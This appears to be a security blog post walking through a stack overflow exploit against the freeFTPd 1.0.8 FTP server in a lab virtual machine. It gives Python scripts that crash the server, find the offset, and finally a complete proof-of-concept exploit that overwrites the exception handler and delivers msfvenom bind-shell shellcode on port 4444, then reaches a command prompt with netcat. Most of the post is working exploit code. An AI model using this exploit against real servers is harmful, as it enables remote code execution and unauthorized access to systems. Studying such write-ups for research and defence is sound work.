freeFTPd 1.0.8 - SEH Stack Based Overflow

Exploiting the freeFTPd 1.0.8 server that has an SEH Stack Based Overflow.  This is already documented as a metasploit module and other exploits that have been published.  I have downloaded the vulnerable freeFTPd 1.0.8 server from here.  Then I installed it on Windows XP SP2 with Immunity Debugger.  To configure the freeFTPd server create a user with username of ftp and a password of ftp.  Then enable logging so it writes to a file.

First I created a python script to simulate a logon:



#!/usr/bin/python

import socket

server = '172.16.104.42' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER ftp\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()


Then in the script I introduced a string that is appended for the username of FTP 1500 characters.  After this the change to the script is made and the script is executed in Immunity Debugger you can observe the ECX register contains the all A's and an Access Violation is present at the bottom of the debugger window.  Then if you scroll down in the window that is in the bottom-right corner you will find that the A's overright an SEH handler on the stack.


Then utilizing the pattern_create tool, created a pattern of 1500 characters.  Then after pressing <shift>+F7 to step through the access violation you find that part of the pattern is returned in the EIP pointer.


 Then plugging the value into the pattern_offset tool you find that the size is 1004 bytes into the pattern.


With modifying the buffer that is sent to buf = "A"*1004 + "B"*4 + "C"*4 + "D"*4 you should be able to see on the stack if you have the correct offset if the following occurs:

We can see that the "Pointer to next SEH record" has B, in the "SE handler" only C's exist and then D's exist after this.  The script that I generated is below to cause the above screenshot.



#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

bufCreated = "A"*1004
bufCreated += "B"*4
bufCreated += "C"*4
bufCreated += "D"*4

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER " + bufCreated + "\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp" + "\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()


Now we need to find a memory address that will allow us to overwrite the SEH value.  To do this we are going to use a pycommand called mona.py which can be downloaded from here.  In the previous post I talk more about how to setup mona.  I executed mona.py and received the following results.

From the output we find 3 memory addresses that could possibly be used.  Notice that the 3rd address however, contains a 00 in the address which would act as a NULL character in a string.  We may have to be careful with this address.  I am going to use the 0x7ffc054d address in the exploit.  Then I am going to place in the next SEH address that of a breakpoint so I can evaluate the registers.  The above code I modified to look like the following screenshot.


After executing the script with the above changes and bypassing the first access violation by hitting <shift + F9> then you hit the breakpoint as shown in the below screenshot.


The above screenshot is a busy screenshot but shows us a lot of information we need to know.  Notice in the top left of the CPU window we are at a breakpoint, in the top-right corner we notice the stack pointer (ESP) is located at 0x0012aea0, and then in the lower right window we see that the A's where I will place my shellcode.  The memory address of where the A's begin is roughly 0x0012b2ec.

So in my jump code I need to somehow go to memory address 0x0012b2ec.  To accomplish this I click on one of the INT3 instructions and then hit the space bar.  Then in the text box type jmp and the memory address on the stack that you wish to jump to.  The below screenshot occurs if you did this correct.


Then click assemble and it modifies the assembly as shown below:


We find that the assembly instructions that we would like to use for our jumpcode.  The instructions are "\xe9\x16\xfc\xff\xff".  With the above information we should be able to craft the exploit.  I have provided the proof-of-concept code below.



#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xbb\xd3\xa8\x3c\xaa\xdb\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x53\x31\x5f\x12\x03\x5f\x12\x83\x3c\x54\xde"
buf += "\x5f\x3e\x4d\x9d\xa0\xbe\x8e\xc2\x29\x5b\xbf\xc2\x4e"
buf += "\x28\x90\xf2\x05\x7c\x1d\x78\x4b\x94\x96\x0c\x44\x9b"
buf += "\x1f\xba\xb2\x92\xa0\x97\x87\xb5\x22\xea\xdb\x15\x1a"
buf += "\x25\x2e\x54\x5b\x58\xc3\x04\x34\x16\x76\xb8\x31\x62"
buf += "\x4b\x33\x09\x62\xcb\xa0\xda\x85\xfa\x77\x50\xdc\xdc"
buf += "\x76\xb5\x54\x55\x60\xda\x51\x2f\x1b\x28\x2d\xae\xcd"
buf += "\x60\xce\x1d\x30\x4d\x3d\x5f\x75\x6a\xde\x2a\x8f\x88"
buf += "\x63\x2d\x54\xf2\xbf\xb8\x4e\x54\x4b\x1a\xaa\x64\x98"
buf += "\xfd\x39\x6a\x55\x89\x65\x6f\x68\x5e\x1e\x8b\xe1\x61"
buf += "\xf0\x1d\xb1\x45\xd4\x46\x61\xe7\x4d\x23\xc4\x18\x8d"
buf += "\x8c\xb9\xbc\xc6\x21\xad\xcc\x85\x2d\x02\xfd\x35\xae"
buf += "\x0c\x76\x46\x9c\x93\x2c\xc0\xac\x5c\xeb\x17\xd2\x76"
buf += "\x4b\x87\x2d\x79\xac\x8e\xe9\x2d\xfc\xb8\xd8\x4d\x97"
buf += "\x38\xe4\x9b\x02\x30\x43\x74\x31\xbd\x33\x24\xf5\x6d"
buf += "\xdc\x2e\xfa\x52\xfc\x50\xd0\xfb\x95\xac\xdb\x12\x3a"
buf += "\x38\x3d\x7e\xd2\x6c\x95\x16\x10\x4b\x2e\x81\x6b\xb9"
buf += "\x06\x25\x23\xab\x91\x4a\xb4\xf9\xb5\xdc\x3f\xee\x01"
buf += "\xfd\x3f\x3b\x22\x6a\xd7\xb1\xa3\xd9\x49\xc5\xe9\x89"
buf += "\xea\x54\x76\x49\x64\x45\x21\x1e\x21\xbb\x38\xca\xdf"
buf += "\xe2\x92\xe8\x1d\x72\xdc\xa8\xf9\x47\xe3\x31\x8f\xfc"
buf += "\xc7\x21\x49\xfc\x43\x15\x05\xab\x1d\xc3\xe3\x05\xec"
buf += "\xbd\xbd\xfa\xa6\x29\x3b\x31\x79\x2f\x44\x1c\x0f\xcf"
buf += "\xf5\xc9\x56\xf0\x3a\x9e\x5e\x89\x26\x3e\xa0\x40\xe3"
buf += "\x40\x50\x58\xfe\xd5\xcb\x09\x43\xb8\xeb\xe4\x80\xc5"
buf += "\x6f\x0c\x79\x32\x6f\x65\x7c\x7e\x37\x96\x0c\xef\xd2"
buf += "\x98\xa3\x10\xf7"

bufCreated = "A"*1004
bufCreated = "\x90"*500
bufCreated += buf   # Payload generated by msfvenom
bufCreated += "\x90" * (1004 - len(bufCreated))
bufCreated += "\xeb\x04\x90\x90" # nSEH
bufCreated += "\x4d\x05\xfc\x7f" # SEH
bufCreated += "\x90"*8   # Small NOP Sled
bufCreated += "\xe9\x16\xfc\xff\xff" # JMP to where NOP Sled and Shellcode exist
bufCreated += "\x90"*8   # Small NOP Sled

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER " + bufCreated + "\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp" + "\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()



Then after executing the script we can then connect to port 4444 using netcat and receive a command prompt.


This post is meant to be used for educational purposes only to demonstrate an SEH bypass exploit of freeFTPd 1.0.8.

Comments

Popular posts from this blog

Netflix Streaming Blocked by Sophos UTM

BSides 2016 Hackers Challenge

VBA - Script to Download a file from a URL

Python - Vega Conflict Script to Maximize Fleet Sizes based on Fleet Mass

IoT Malware Analysis - CnC Server - Part 3